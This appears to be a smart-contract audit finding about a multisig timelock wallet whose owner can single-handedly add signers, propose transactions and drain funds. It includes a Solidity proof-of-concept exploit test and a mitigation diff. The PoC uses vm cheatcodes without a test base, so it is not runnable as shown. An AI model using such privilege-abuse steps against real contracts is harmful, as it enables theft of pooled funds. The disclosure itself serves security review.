Root + Impact
Description
-
Usually a multisig wallet should require multiple independent parties to authorize transactions maiking sure no single entity can control the funds
-
The problem is that the owner can add up to 5 signers he controls via grantSigningRole() propose any transaction via proposeTransaction()confirm it with his controlled signers and execute it after the timelock
function grantSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
@>
if (s_isSigner[_account]) {
revert MultiSigTimelock__AccountIsAlreadyASigner();
}
if (s_signerCount >= MAX_SIGNER_COUNT) {
revert MultiSigTimelock__MaximumSignersReached();
}
s_signers[s_signerCount] = _account;
s_isSigner[_account] = true;
s_signerCount += 1;
_grantRole(SIGNING_ROLE, _account);
}
function proposeTransaction(address to, uint256 value, bytes calldata data)
external
nonReentrant
noneZeroAddress(to)
@> onlyOwner
returns (uint256)
{
return _proposeTransaction(to, value, data);
}
Risk
Likelihood:
-
A single key compromise is way more likely than compromising 3 independent signers
-
The attackers only need the Owner key, no need for the other signers
Impact:
Proof of Concept
pragma solidity ^0.8.19;
import {MultiSigTimelock} from "./MultiSigTimelock.sol";
contract OwnerBypassExploit {
function testOwnerBypass() external {
MultiSigTimelock wallet = new MultiSigTimelock();
payable(address(wallet)).transfer(100 ether);
address attacker1 = address(0x1111);
address attacker2 = address(0x2222);
wallet.grantSigningRole(attacker1);
wallet.grantSigningRole(attacker2);
address attackerEOA = address(0x9999);
uint256 txId = wallet.proposeTransaction(attackerEOA, 100 ether, "");
wallet.confirmTransaction(txId);
vm.prank(attacker1);
wallet.confirmTransaction(txId);
vm.prank(attacker2);
wallet.confirmTransaction(txId);
vm.warp(block.timestamp + 7 days + 1);
wallet.executeTransaction(txId);
assert(attackerEOA.balance == 100 ether);
}
}
Recommended Mitigation
- function grantSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
+ function grantSigningRole(address _account) external nonReentrant noneZeroAddress(_account) {
+ require(msg.sender == address(this), "Must be called via multisig proposal");
+
if (s_isSigner[_account]) {
revert MultiSigTimelock__AccountIsAlreadyASigner();
}
if (s_signerCount >= MAX_SIGNER_COUNT) {
revert MultiSigTimelock__MaximumSignersReached();
}
s_signers[s_signerCount] = _account;
s_isSigner[_account] = true;
s_signerCount += 1;
_grantRole(SIGNING_ROLE, _account);
}
- function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
+ function revokeSigningRole(address _account) external nonReentrant noneZeroAddress(_account) {
+ require(msg.sender == address(this), "Must be called via multisig proposal");
+
// ... rest of function
}
function proposeTransaction(address to, uint256 value, bytes calldata data)
external
nonReentrant
noneZeroAddress(to)
- onlyOwner
+ onlyRole(SIGNING_ROLE) // Any signer can propose
returns (uint256)
{
return _proposeTransaction(to, value, data);
}
